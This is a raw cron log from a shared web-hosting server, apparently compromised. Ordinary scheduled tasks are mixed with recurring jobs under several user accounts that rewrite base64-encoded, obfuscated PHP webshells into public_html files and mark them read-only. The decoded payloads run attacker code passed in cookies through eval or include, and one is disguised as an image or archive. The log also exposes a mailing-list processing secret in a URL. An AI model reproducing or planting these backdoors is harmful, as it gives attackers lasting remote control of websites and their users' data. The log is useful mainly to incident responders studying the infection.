Jun  7 13:42:01 medusa CROND[22368]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:42:01 medusa CROND[22369]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:42:01 medusa CROND[22371]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:42:01 medusa CROND[22372]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:43:02 medusa CROND[24106]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 13:43:02 medusa CROND[24112]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:43:02 medusa CROND[24114]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:43:02 medusa CROND[24113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:43:02 medusa CROND[24115]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:43:02 medusa CROND[24116]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:43:02 medusa CROND[24117]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:43:02 medusa CROND[24118]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:43:02 medusa CROND[24121]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:43:02 medusa CROND[24123]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:43:02 medusa CROND[24124]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:43:02 medusa CROND[24125]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:43:02 medusa CROND[24126]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Jun  7 13:43:02 medusa CROND[24127]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 13:44:01 medusa CROND[25755]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:44:01 medusa CROND[25789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:44:01 medusa CROND[25809]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:44:01 medusa CROND[25810]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 13:44:01 medusa CROND[25814]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:44:01 medusa CROND[25815]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:44:01 medusa CROND[25817]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:44:01 medusa CROND[25818]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:44:01 medusa CROND[25819]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:44:01 medusa CROND[25816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:44:01 medusa CROND[25820]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:44:01 medusa CROND[25823]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:44:01 medusa CROND[25825]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:45:01 medusa CROND[27449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:45:01 medusa CROND[27456]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 13:45:01 medusa CROND[27465]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 13:45:01 medusa CROND[27470]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
